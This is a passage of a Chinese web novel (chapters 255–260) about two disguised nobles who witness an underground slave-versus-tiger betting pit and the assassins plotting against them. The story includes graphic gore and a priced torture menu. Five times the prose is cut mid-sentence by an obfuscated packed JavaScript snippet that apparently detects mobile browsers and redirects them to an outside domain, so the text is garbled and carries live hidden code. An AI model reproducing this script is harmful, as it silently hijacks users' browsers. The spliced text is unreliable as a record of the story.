“小地方不就这样么,能有什么好玩的。有银子都花不出去。行了,吃饱喝足咱们就回吧。”谢翊宁看出了她的意图,故意接话。
听到他们二人的对话,先前进来的几人顿了顿脚步,看向了他们。
第255章 肥羊送上门
“行吧行吧,真是没劲。这些东西也不吃了,赏你们了。”晏逐星装作一副纨绔公子哥的模样,将剩下大半没动过筷子的食物都给了九栀和双鲤。
双鲤欢快道谢:“多谢二位公子。”
随后就端起碗筷到另一桌用膳了。
晏逐星和谢翊宁只留下了几碟下酒菜,两人继续闲聊对酌。
他们的余光一直注视着先前进门的那几个人。
那几个人在角落低声合计了几句,其中一人低声问询了店小二什么。
随后其中一个大腹便便的男人,堆起一脸油腻的笑容,朝着他们这边慢吞吞地走了过来。
他像座移动的肉山挤到他们桌前,绿豆眼在谢翊宁腰间的玉佩上滴溜溜转了一圈,脸上的笑纹更深了。
“哟,二位公子贵气逼人,看着眼生得很呐!想必是初次赏脸到这万帆楼?可是想寻点难寻的乐子?”
谢翊宁眼皮都懒得抬,手指漫不经心地捏着酒杯把玩,目光仿佛落在杯中的酒液上,又仿佛什么也没看。
他鼻子里发出一声极其轻微却又清晰无比的嗤笑声。
他虽然什么都没说,但凑过来搭讪的**旺却觉得他仿佛在说“你算什么东西,也配跟本公子说话。”
**旺:“……”
人家不接话,他这出戏还怎么唱下去。
晏逐星恰到时机地放下酒杯,唇角弯起一个带着几分天真好奇的笑意,眼神却明亮地直勾勾盯着他:“是又如何?不是又如何?”
她声线清脆,少年气十足,像是被惯坏的小公子第一次听闻什么新奇玩意儿。
**旺被谢翊宁的气势噎了一下,有些尴尬,但看到晏逐星感兴趣的样子,立刻又重新挂满笑:“嘿嘿,若是公子想寻那顶顶有趣的乐子,我倒是有门路!”
他搓着厚实的手掌,声音压得更低。
“实不相瞒,小人也是要去找乐子的。有一个好地方,就在这万帆楼底下。啧啧,那地方,保管二位看一次,就终身难忘!”
他故意停顿,做出一副极其神秘的样子。
晏逐星配合地追问:“什么地方?怎么去?”
**旺松了一口气。
还好这个年纪小的好骗一点,不像那个年长的那么难伺候。
看来今夜的入场费,有戏了!
他嘿嘿一笑看向晏逐星,他伸出两根肥短的手指比划了一下:“那金贵地方,进去得先交引路和观礼的钱。足足要十两银子一个人呢。不过进去之后,保管让你觉得那十两银子,花得值!”
晏逐星眉头微挑,笑得更灿烂了,她兴致勃勃地问:“哦?一个人只要十两?那点银子也叫钱?”
随后看向谢翊宁,眼神亮晶晶的,带着一丝期待与兴奋。
“七哥,他说的听起来好像挺有意思的。十两银子的乐子,咱们看看呗?”
谢翊宁微微颔首,点头答应。
晏逐星见状,随手从腰间摘下一个成色极好的镂空金花小钱袋扔到桌上,朝**旺扬了扬下巴。
“这钱袋里的金子够不够呀?不够我还有!”
听到她娇纵中带着点不知世事艰辛的语气,**旺大喜过望。
太好了,大户人家的傻儿子让他给遇上了。
“那可真是太够了!”他笑得极其谄媚,声音腻歪得紧。
他指了指站在原地的三个同行之人,又道:“不过小人和几个同伴恰好手头有点紧。您二位一看就是顶顶有见识、手面也阔绰的大贵人!不如……嘿嘿,今日这入场钱,小人斗胆代几位朋友讨个巧,劳烦二位贵人一并结了?”
谢翊宁和晏逐星一瞬间就反应了过来。
这人是想空手套白狼,用搏命窟当饵,诱骗他们这两个“外地傻帽”出钱让他看戏。
晏逐星看向了谢翊宁:“七哥,你说呢?”
谢翊宁微掀眼皮,目光掠过**旺那张算计满满的脸。
**旺后背一凉,整个人都绷紧了。
他先前进门就听到这
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017444|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外地兄弟俩在说找乐子的事,便动了心思。
去地底下看血金笼,入场就得交十两银子。
虽然他有点小钱,但只是入场就要交那么多钱,他还是心痛的。
于是先前和狐朋**合计了一下,打算坑一把这两个外乡人。
让他们来交那入场费。
他们省下的入场费可以用来下注,听闻今夜还有新货色,说不定下对了注,可以一夜暴富。
担忧谢翊宁拒绝他,他赶忙把自己打听到的独家消息放了出来。
“今夜可是有西戎来的好货色,二位当真不想去瞧瞧?”
谢翊宁这才点头,轻描淡写地吐出了一个字:“行。”
**旺闻言,如同偷腥的猫得逞了一般,脸上的褶子都笑开了花。
成了!果真是两只肥羊上门!
他忙不迭地搓手哈腰:“哎哟喂,两位公子大气!爽快!痛快!我这就给您二位带路!包您二位大开眼界!快活似神仙!”
见主子起身,双鲤和九栀也要跟上来。
**旺连连摆手:“下头有的是人伺候,二位不必带人下去伺候,那里也不让。”
“行,那你们在这等着吧。”晏逐星回头吩咐,给了他们一个安心的眼神,示意他们不必着急。
九栀和双鲤听话地坐回去继续干饭。
谢翊宁和晏逐星跟着**旺,见到了他那三个狐朋**。
**旺给他们介绍了起来:“这两位是京城来的谢七公子和谢八公子。”
而后又对晏逐星介绍起了朋友:“这是我的好友,李康宁、孙武凡、韦巍。”
“幸会幸会!”李、孙、韦三人冲谢翊宁二人打招呼。
谢翊宁依旧是一副“别来沾边”的高高在上的模样,晏逐星露出了个笑脸,拱拱手,算是打过招呼。
三人有些不满,但想着是他们出的入场费,便也没说什么。
**旺不敢和谢翊宁搭话,便拉着晏逐星使劲说起了搏命窟的事情。
第256章 西戎的奴隶
晏逐星这才知道。
搏命窟处处都是花钱的地方。
先是入门,就得交十两银子的茶水座位费。
坐下之后,便可以参与今日搏斗的下注。
一共有三个奴隶会被同时放到笼子里,和被关起来的野兽拼命。
野兽有时候是狼,有时候是熊,有时候是蛇,偶尔也会有老虎。
来看戏的客人们可以下注,入场的三个奴隶里,谁能活到最后。
十两银子为一注。
伴随着**旺的讲解,几人来到了“血金笼”的入口处。
“我们之前来过,这两位是我们的朋友,我们的茶水费,他们一并给了。”**旺指着谢翊宁二人,笑呵呵地开口。
晏逐星爽快掏钱,付了六十两银票。
**旺几人拿着号码牌,压根不等晏逐星他们,快步地就往前边的座位走去。
门口那个发牌姑娘看着谢翊宁和晏逐星的脸,眼睛都直了,毫不掩饰地上下打量了好几下,这才堆满笑地开口:
“哎哟喂,二位小公子这神仙似的模样,挤下面的硬椅子可不合适。吵吵嚷嚷都是汗味酒气!”
她指着旁边一道垂下厚帘子的小门,热情招呼。
“雅间清净,位置绝佳,正对着笼子正中间,还带软垫子茶水点心,里头还备着伶俐丫鬟伺候着呢。您二位坐进去了就知道,奴家所言非虚,绝对值当!”
见两人面无表情,她压低了声音:“您二位再加五十两银子,就可以进去了。要知道往日的雅间,包下来得一百两呢。”
“今日思思看您二位气度不凡,诚心想和二位交个朋友,所以才给了你们这个价格。”
谢翊宁果断开口:“要雅间。”
外边吵吵嚷嚷,他也不方便和晏逐星说话。
他一开口,晏逐星就递上了银子,发号牌的姑娘笑得合不拢嘴,立刻命人把他们领了进去。
晏逐星坐在雅间里,心头沉甸甸的。
她们光是坐在这里,就花了一百一十两银子,而那些来跟虎狼搏斗的苦命人,一条命,却只值二十两银子。
她盯着面前摆放的那些精致小巧的四色点心,毫无食欲。
一个眉清目秀的小丫鬟半跪在软毯上,安安静静地为他们烫杯、泡茶、布点心。
动作轻柔无声,脸上挂着无可挑剔的标准笑容。
另一个丫鬟正准备跪下给谢翊宁捏腿,就被他赶到了一边。
“用不着,你们都出去吧。”见晏逐星在发呆,谢翊宁猜到了她在想什么,当即将人都赶了出去。
两个丫鬟你看看我,我看看你,最终还是听话地退了出去。
谢翊宁附到她耳边轻声说:“很快就会结束的。本王不会让这里存在太久的。”
晏逐星听到这话,心里安定了不少。
她重重点头,应了声:“好。”
这时,外边传来了铜锣的声响,一瞬间场外的人都安静了下来。
一个看起来温文儒雅身着藏蓝色长袍的中年男子走到了正中央。
他笑了笑,高声道:“诸位贵客久等了,好戏马上开场!”
话音落下,他拍了拍手,立刻就有人把两个衣衫褴褛,手脚带着沉重镣铐的奴隶推搡着走到了台上。
他们面色惨白,眼神空洞,身体止不住地颤抖。
“甲三!年二十。”
“乙六!年二十四。”
台上的男人扯着嗓子报出他们的编号和年龄。
台下的人听完,忍不住大声问道:“周管事,不是说有好货吗?就这?”
另一个人跟着附和。
“若是就这,赶紧退钱!退钱!”
周管事神秘一笑,安抚道:“这位爷稍安勿躁!好货马上登场。”
说完,他猛地一拍手。
“把乙十七牵上来——!”
话音刚落,一个被粗壮麻绳紧紧捆缚着双手的健硕身影,被两个壮汉硬推搡着走上台前。
只一眼,众人就发出了惊呼声。
雅间里的晏逐星忍不住探出脑袋,想要看清来人的模样。
好一个异域猛士!
与那些瘦骨嶙峋的奴隶截然不同,此人身高约莫接近九尺,肩膀极其宽阔,半裸露的肌肤泛着一种带着光
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017445|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
泽的小麦色。
他的鼻梁极高,眼眶深邃异常,一头微卷的漆黑半长发略有些凌乱。
他被推到了笼子里,和甲三还有乙六并肩而立,那两人在他的衬托下,显得有些娇小。
西戎人愤愤地抬起眼眸,目光扫过台下人群,带着毫不掩饰的狂怒与蔑视。
他这副桀骜不驯的模样,像是往热油锅里泼了瓢凉水。
全场一下炸开了锅。
“我买他赢,全押!”一个满脸横肉的男人猛地拍案而起,唾沫星子四处乱飞,眼睛死死盯着台上那个西戎人。
“我也买他。真**带劲啊,骨头一定够硬!”旁边一个瘦高个兴奋地搓着手。
这股追捧立刻像野火燎原,不少人纷纷跟注:“没错!买他!”
“我也押他赢!”
然而,刺耳的不屑嗤笑也几乎同时响起。
“呸!哪儿来的傻子,脑子被屎糊了?一个傻大个能赢得了老虎?鬼才信!”
他掏出一张银票,鄙夷地弹了弹。
“老子要押通杀!押他们仨,一个也活不了!”
此起彼伏的议论声响起,还没让人拿着下注的签筒过来,就已经引起了一波激烈的争执。
周管事脸上的笑容更明显了。
今夜,他们血金笼可以大赚一笔了。
“下面有请黄将军!”男人再一次开口,命人将今日的主角请了上来。
一只被饿得眼冒凶光的老虎被驱赶进了铁笼前边的通道。
只要外边的人把隔着的铁栅栏给拉开,它就可以冲进去,把那三人咬死。
台上的男人敲锣打鼓地将众人的视线再一次**到了他身上。
他拔高了音调,大喊道:“老规矩!猜今日笼中这三位角儿,谁能活到最后?开押——!”
随着他话音的落下,人群瞬间爆发出更狂热的声浪。
十几个小厮抱着签筒在各桌间穿梭,邀请客人下注。
晏逐星二人的雅间也被敲响了门。
先前发号牌的思思姑娘笑意盈盈地走了进来:“二位贵客,想好押谁了么?买定离手哦。”
第257章 好像见过他
为了不让他们显得和在场的其他人格格不入,谢翊宁和晏逐星各下了十两银子在那西戎人身上。
“您二位就押十两的独赢注呀?”思思眨了眨眼睛,刻意在“十两”二字上微微停顿了一下。
紧接着,她瞄了一眼台下疯狂下注的场面,压低了嗓子:“独赢注是外边那些糙爷们玩的,咱们雅间的贵客有福气,能玩更高明的血眼注。”
她刻意摩挲了一下腰间小巧的银制符牌上,语气带了一丝蛊惑。
“您二位这般尊贵气度,那不得玩玩血眼注?”
“血眼注是什么?”晏逐星佯装好奇。
思思姑娘笑得很甜,声音也愈发的娇软:“血眼注押的不是干巴巴的赢或输,押的是待会开始后,黄将军是先咬下那西戎人的左手还是右手,先抓瞎他的左眼还是右眼,又或者是先啃断他的哪条腿,还是直接咬断他的喉咙。”
“这样的赔率更高。您押独赢,最多赔到一百两,若是押中血眼注,二十两最多可以给您翻到两千两呢。”
谢翊宁和晏逐星没想到竟然还有更多的玩法。
弄出这个血金笼的人,恐怕是**成精了吧。
进来的每一个人,他都要敲骨吸髓,把身上的每一份油水都榨干才罢休。
两人心底一片寒意,但面上却不显。
晏逐星为了维持大户人家傻儿子的形象,直接扔了两张一百两的银票给她。
“你看着办吧。”
“好咧,思思一定给两位爷把这事办得漂漂亮亮的。”思思姑娘接过银票,这才笑眯眯地退了出去。
那两个先前伺候的小丫鬟也被晏逐星请了出去。
雅间里只剩下了他们两人。
见谢翊宁一直死死盯着那个西戎人没移开眼睛,她忍不住开口:“七哥,你为何一直盯着他?”
谢翊宁没回头,眼里浮现出一丝疑惑。
他压低声音道:“我总觉得好像在哪里见过他。”
“是么?”晏逐星顿时坐直了身子,继续打量起场上那个被命名为“乙十七”的西戎人。
能让谢翊宁见过,想必出身不菲。
又怎么会沦落到临清的搏命窟?
场上,饿虎绞杀三个奴隶的好戏已经拉开了帷幕。
下注截止,栅栏打开,饿虎发出了低沉的咆哮。
除了西戎人,剩下两个被赶进笼子里的奴隶,根本就不是自愿上台的。
他们看到饿虎一瞬间就吓傻了。
甲三呆呆地站在原地,乙六撒腿就跑。
不曾想,乙六这一跑,反倒吸引了那饿虎的视线,他猛地就是一扑,巨大的前爪挟着腥风狠狠将乙六拍倒在地。
血光飞溅,乙六发出了凄厉的惨叫。
饿虎一口咬断了他的脖子,乙六的惨叫戛然而止。
血腥味瞬间弥漫开来,刺激得那饿虎更加狂躁,它低吼着,口水从口中滴答落下。
台下响起了一片“嘘”声。
“啧,真是废物啊,这么快就**。”
“不愧是黄将军,一口就将那废物给咬**。”
议论声、嘲笑声、叫好声不绝于耳。
但都没有影响到台上的人。
饿虎从乙六身上撕下一块肉来,它没有动,只是粗暴地咀嚼着,目光在甲三和乙十七身上来回切换,像是在思考要把哪一个人变成它的盘中餐。
终于,饿虎的眼神落在了甲三身上,冲他一跃而起。
甲三捏紧了手里的**,知道难逃一死,啊啊啊地叫唤了起来,打算冲上去拼死一搏。
与此同时,一直沉默着站在角落,仿佛一座石像一般的乙十七终于动了。
他没有冲上去和饿虎硬拼,而是以一种极其刁钻的角度猛地贴近饿虎的侧后方,他的动作快得像一道贴着地面掠过的影子。
饿虎被他这突如其来的靠近吓了一跳身,庞大的身躯竟异常灵活地一扭,血盆大口带着腥风狠狠咬向侧后方的乙十七。
眼看就要被咬中,乙十七却像是早有预料,身体以一个不可思议的角度后仰,双腿如同铁钳般猛然绞向饿虎的脖颈下方。
不是硬挡,而是借力。
他整个人的重心瞬间下沉,利用身体的重量和绞杀的力道,硬生生将那虎头带得一偏。
“砰!”饿虎沉重的头颅砸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017446|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在地上,发出一声闷响。
甲三看傻了眼。
买了乙十七独赢的人激动得从椅子上站了起来叫好。
乙十七没有停顿,他将手中的**狠狠插入了饿虎的眼眸。
饿虎被这一击逼得发了狂,猛地将他给掀飞了。
一人一虎,打得异常激烈。
甲三原本捏紧的**都吓得掉到了地上,差点没扎到他自己的脚。
他吓了一跳,连忙退后了好几步,躲在了笼子的边缘,看着乙十七和饿虎搏斗。
台下一片怒骂声。
“废物,你倒是上啊!”
“下次再有这种废物,我就不来看了。”
笼子外边的周管事也皱起了眉。
这批新送来的货色实在是烂泥扶不上墙。
下回必须跟上面提,只送驯熟了的硬骨头过来。
那些客人不就图个乐子,想看着这些贱骨头拼命挣扎,最后在绝望里被猛兽一口口撕碎,听着这些人临死的哀嚎过瘾么。
有一个吓破胆的废物喂了畜生也就罢了,要是全**是这种软脚虾,三下五除二就被啃干净了,客人们看个屁的热闹。
一人一虎的搏斗还在继续。
饿虎挥着爪子攻击乙十七的胸口,这一爪若是抓中了,足以将他开膛破肚。
千钧一发之际,乙十七身体如同没有骨头般猛地一缩,险之又险地让过要害,同时双臂以一种不可思议的角度向上反缠,像两条藤蔓,死死箍住了饿虎挥下的那条前腿。
他整个身体借着虎爪下挥的巨力猛地向下一沉、一拧、一撞。
饿虎被彻底掀翻露出肚皮。
他看准时机将甲三掉落的**捡起插入了饿虎的肚皮,用力猛地一划,血液四溅,饿虎的肠子掉了出来。
雅间里的谢翊宁瞳孔猛地一缩。
刚才那电光火石间的一沉、一拧、一撞,他见过!
“我想起来了。”谢翊宁脱口而出。
“他是谁?”晏逐星不忍细看台下的场景,因而目光全神贯注地都落在了谢翊宁身上。
见他一直看着乙十七,如今脱口而出,想必是想起来那人是谁了。
第258章 西戎人身份
谢翊宁快速给她解释了起来:“七年前太后六十大寿,西戎大王子和小王子来贺寿,他们带来的侍卫演武时,搏杀的路数就是这一招。”
“他长得很像当时那个西戎的小王子,萨尔司澜。”
晏逐星听到这话,差点惊得咬到自己舌头:“小王子?你确定?!”
西戎的小王子,怎么会沦落到临清的搏命窟里?
谢翊宁的眉头皱得更紧了。
若台下那个西戎人真的是萨尔司澜,那他可不能让他死在这里。
“那咱们之后探探去?”晏逐星压低了声音询问。
“不急,先退出去,让停云带人来查。”谢翊宁轻轻摇了摇头。
如今他没带暗卫进来,身边还有晏逐星,他不能轻举妄动。
当下最重要的是他们俩的性命。
好在那个西戎人有点本事,干掉了这头饿虎。
他们可以再探。
“好。”晏逐星点了点头,决定听他的。
他们如今只有两个人,而这血金笼四处都是戒备森严的守卫,他们恐怕接近不了那个西戎人。
台上的饿虎抽搐片刻后便没了动静。
就在他们以为今夜的比赛就这样草草结束时,周管事让人把饿虎的尸体给搬走,乙十七也被人带走。
唯有甲三还被关在笼子里。
被单独留下的甲三顿感不妙,猛地拍了拍铁笼子,发出惊恐的叫声:“我也活着,为什么不能让我走。”
周管事却没有搭理他,只是笑着看向场下觉得略带扫兴的客人。
“各位爷莫着急,今日这出戏还没结束呢。”
他踱到笼边,看着惊恐如兔的甲三,笑容阴冷:“方才那西戎来的货色搏命,大家看得爽快!可这位嘛……呵呵,只顾躲着发抖,连根老虎**都没敢碰,无趣得很呐!扫了诸位雅兴,哪能这么便宜就了事?”
他扬声道:“这废物的小命怎么赔?诸位贵人说了算!”
话音刚落,几个小厮飞快地捧着签筒和木牌穿梭于坐席间,牌子上赫然刻着几个刺眼的名目。
“一两银子割一刀。”
“一根手指五两银子。”
“断手十两银子。”
“割舌头二十两银子。”
“拿钩子钩出肠子挂柱子上,一百两。”
……
甲三听着底下的这些话,感到一阵阵绝望。
早知如此,还不如像乙六一样被饿虎咬死呢。
晏逐星和谢翊宁脸色变得很难看。
一条活生生的人命,在他们眼里竟然成了明码标价的货物。
这个地方,必须要铲除。
两人看不下去了,当即决定起身离开。
门口的两个丫鬟吓了一跳,她们赶忙道:“二位爷,今夜的好戏还没结束呢。”
“无聊至极,没什么好看的,不如回去抱着美人睡觉。”晏逐星露出了一副鄙夷的表情。
而后两人便大摇大摆地往外走。
入口处的思思姑娘瞧见两人这么早就要走,有些惊讶,但也没有阻拦,只是笑着道:“二位公子下次再来呀。”
晏逐星微微点头,和谢翊宁重新回到了地面上的万帆楼。
看到两人完好无损地走出来,九栀和双鲤都松了一口气。
停云也已经办完事情在候着了。
他知道现在不是问话的时候,恭恭敬敬地跟在二人身后,准备打道回客栈。
进了客栈后,停云凑上前压低声音道:“王爷,有人在跟着咱们。是万帆楼里出来的,跟了咱们一路了。可要属下回头警告一二?”
“不必。”谢翊宁摇了摇头。
“回头你悄悄跟上他们,去探一探那血金笼的底细。然后命人快马加鞭把这里的事情告诉父皇。让他给我派可靠的人来。”
他着重强调了一下西戎人的样貌和身份,停云的表情顿时变得严肃了起来。
“是,属下遵命。”
看着停云离去,谢翊宁心里堵得很。
在京城,最血腥的场面,也不过是法场上咔嚓一刀,人头落地,干脆利落。可眼下这临清城犄角旮旯里的搏命窟,他却见到了这辈子都没见到的恶。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022970|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他见过大风大浪心里尚且堵得慌,那小恩人呢,她看了那些恶心又血腥的场景,今夜会不会睡不着?
他翻来覆去没睡着,最后决定去看看晏逐星。
没想到,到了晏逐星的门口,九栀却告诉他。
“县主已经睡着了。”
谢翊宁:“……”
也对。
小恩人上辈子在军营肯定见过了更残酷的场景,这些对她来说,或许不算什么。
他悻悻地回了自己的房间。
不曾想,没过多久,他的房间门被轻轻扣响。
“王爷,是我。”
听到晏逐星的声音,谢翊宁有些惊讶。
她不是睡了么?
但他的动作比脑子里的想法更快,听到晏逐星声音的下一刻,他就已经从床上爬起来给她开门了。
门外,晏逐星静静地立着。
她换了一身素净的常服,几缕青丝垂在脸颊边上,显然是匆匆起身。
昏黄的廊灯映着她清亮的眼眸,她手里稳稳捧着一个青瓷提梁壶。
“喏,”她将手里的壶微微往前一递,语气带着点安抚人心的平和,又像是不经意的解释。
“停云之前说过皇后娘娘备了凝神的茶包,我想着王爷或许用得上,所以刚刚煮了一壶茶。菊花枸杞清心去火。王爷夜里喝了,安安神。”
先前她睡下没多久,听到谢翊宁和九栀说话的声音就醒了。
她向来觉浅,听到谢翊宁离开后,一下就猜到了他的来意。
他一定是因为今天看到了那些血腥的场景,不适应,睡不着,所以想找她说会儿话。
她想了想,干脆起身快速冲了一壶菊花枸杞茶送了过来。
一路上,永安王为她做了很多,她当然也要投桃报李。
谢翊宁低头看着手中的茶壶,又抬眼看向深夜为他煮茶的晏逐星,只觉得方才堵在心口那团郁结之气,瞬间烟消云散。
他喉头动了动,一时间不知道该说些什么。
他没说话,晏逐星又开口了。
她一句话直接让谢翊宁涨红了脸。
第259章 来借刀**
“王爷若是睡不着,我可以在门口守着王爷。等停云回来了我再走。”
谢翊宁:“……”
所以晏逐星匆匆起身给他煮茶送过来,是以为他害怕了???
他的脸顿时涨得通红。
他才没有那么胆小!
“我没有睡不着。”谢翊宁开口辩解,但对上晏逐星一副“我都懂得的”表情,顿时感觉无力。
“能睡着就好。”晏逐星的声音比往常温柔了许多。
她碎碎念了起来:“不过我当初第一次上战场**,看到很多人死在我面前的时候,就没睡着,硬扛着到了天亮。”
“因为一闭眼就是别人死在我面前的场景。还不是一个人,而是数百上千的人。一想到我就哇哇吐。”
“但是吐啊吐啊,也就习惯了。”
听着她说起从前的事情,谢翊宁的心蓦然变软。
若是上辈子他们早点认识就好了。
他一定不会让定远侯府那群没良心的畜生那样欺负她,定然不会让她一个人去军营里吃苦,不会让她因为上阵杀敌睡不着。
晏逐星眉眼弯弯,笑着看向他:“所以说王爷好厉害,比我当初勇敢多了。”
谢翊宁被她这话哄得耳根子不自觉地就红了。
他怎么感觉小恩人像是把他当成小孩在哄了?
“既然如此,那我就不打扰啦。我先回了,希望王爷今夜做个好梦。”晏逐星笑眯眯地看着他。
“你也一样,做个好梦。”谢翊宁也笑了。
*
客栈里温情脉脉,而刚走出万帆楼的**旺可就没有这样的好运了。
正揣着热乎的银票走了没多远,他就被拖到了一个无人的巷道里。
他惊得想要叫出声,一把冰冷的刀就架到了他肥胖的脖颈上。
“今夜那两个生面孔的小崽子,你领着他们去了什么地方?”持刀之人压低了声音询问。
**旺脑海里瞬间闪过谢翊宁和晏逐星的脸。
他吓得舌头打结,语无伦次地辩解,声音抖得不成样子:
“大、大爷饶命!我、我不认识他们啊!真的!就是两个初来临清找乐子的公子哥儿,我看他们出手阔绰,才想着带他们去开开眼。”
“问你去了哪?”脖子上的力道加重了些。
**旺额头上冒出了豆大的汗珠,他慌张地辩解:
“去了血金笼。我、我就是个带路的!我跟他们半点关系都没有啊。大爷,您明鉴啊!”
“血金笼?”身后的声音咀嚼着这三个字,冰冷的刀锋又压紧了一分,皮肤传来清晰的刺痛感,一丝温热的液体顺着脖子流了下来。
**旺被吓得魂飞魄散,腿间一股湿意,一阵腥臊味传开。
他竟被当场吓得失禁了。
“他们问了什么?见了谁?说!”声音里带上了一丝不易察觉的急迫和杀意。
“没、没问什么啊大爷!”**旺哭嚎起来,涕泪横流,“交了入场的茶水费,我们就分开了。”
早知道今夜省那十两银子会让他没了命,打死他他也不会去跟谢翊宁他们搭讪的。
“血金笼又是什么地方?”持刀之人继续问。
**旺不敢隐瞒,把自己知道的事情全都说了出来。
他说完之后,身后的人并没有说话,他忍不住哆哆嗦嗦地开口:“大爷,我知道的都说了,我和他们真的是萍水相逢,就是刚刚认识的。您行行好,我上有老下有小……”
他求饶的话还没说完,就**脆利索地抹了脖子。
持刀之人飞快离开,回了自己的据点后,方才掀开了面罩。
“头儿,查清楚了。”他把打听到的事情全都说了出来。
周青听完眼前一亮。
“这血金笼是个好地方。全子,你想办法打听清楚他们的东家是谁,然后把永安王去了他们那里,要上达天听,铲除他们的事情告诉他。”
康乐公主命他们路上见机行事杀了永安王一行人,可一路上,永安王等人防备森严,他们根本找不到下手的机会。
如今倒是好了。
他们非要去那什么血金笼凑热闹,那正好让他来一个借刀**。
他就不信,那血金笼幕后的主人知道永安王要断他财路,会放过他。
“是。”全子应下,正要离开,又被叫住了。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022971|170242||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
等等,不要说他是永安王。说他是威宁侯的儿子。”周青想起了这个重要的事情。
若直接说永安王,说不定幕后之人太怂不敢动他。
换做是威宁侯的儿子,杀了就杀了,之后再遮掩过去就行了。
正好威宁侯有俩儿子,和永安王二人年纪差不多大。
“是。”全子领命,当即去办。
周青脸上终于露出了笑容。
这趟差事总算要收网了!
回京领赏的日子,近在眼前。
等永安王一踏入血金笼的鬼门关,他们就在暗处候着,随时准备补刀。
前有血金笼主人的杀招,后有他们这支黄雀的利刃。
永安王这一回,插翅也难飞。
蠢蠢欲动的不止他一个人。
睿王谢允恪的人也盯上了这个机会。
他们一路上就等着康乐公主派出来的人先动手,他们好捡漏。
如今发现他们有所行动,立刻跟着动了。
睿王心腹赵福恙沉声道:“那死肥猪**,你找剩下三人撬开他们的嘴,问清楚什么情况。”
“是。”下属领了命。
当即去找昨日和**旺一块的三个狐朋**问话。
他随机挑了那个叫李康宁的男子,问清楚后把人杀了,回来汇报。
赵福恙一听,就猜到周青他们打的是什么主意了。
“他们想借刀**啊。”赵福恙摩挲着下巴,脸上的笑容愈发灿烂。
“那咱们就静候佳音,等着他们的好消息了。”
若能坐收渔翁之利,他们自然不必出手。
这样日后皇上震怒,查也查不到他们手上。
一群人各怀鬼胎。
翌日,孙武凡准备找**旺请客吃饭。
昨日**旺压中了那个西戎人,得了五十两银子呢。
结果一登门,发现他**。
吓得他赶紧去找其他人问问是什么情况。
没想到,李康宁也**。
这下孙武凡吓坏了,怀着忐忑不安的心情去了韦巍家。
昨日他和**旺、李康宁还有韦巍四人一块去的血金笼,如今四个人里**俩,不会下一个就是他吧?
第260章 要不要动手
他怀揣着如同上坟一般沉重的心情去到了韦家。
看到活生生站在他面前的韦巍,孙武凡长长地松了一口气。
太好了,除了他之外还有人活着!
这一激动,他腿就软了下去,“噗通”一下跪倒在了韦巍面前。
这可把韦巍吓了一大跳,赶忙伸手搀扶他。
“孙兄为何行此大礼?”
孙武凡:“……”
他这不是给他下跪,他这是劫后余生的喜悦!
他哆哆嗦嗦地扶着韦巍的手站了起来,把**旺和李康宁的死讯告诉了他。
这下韦巍也吓了一跳。
他们昨日一块去的血金笼,竟然**两个人。
还是被人一刀割喉给杀死的。
那他们呢,会不会也被人盯上了?
“你说,会不会是因为昨日那两个小公子啊。咱们坑了他们十两银子,他们就动了杀心?”韦巍第一时间想到了谢翊宁二人。
“不至于吧。就十两银子,哪里值得他们大开杀戒?”孙武凡连连摇头。
“可咱们也不是头一回去血金笼了呀,除了昨日新认识的那两黄毛小子,哪一回出过岔子。”韦巍还是觉得事情和谢翊宁他们有关。
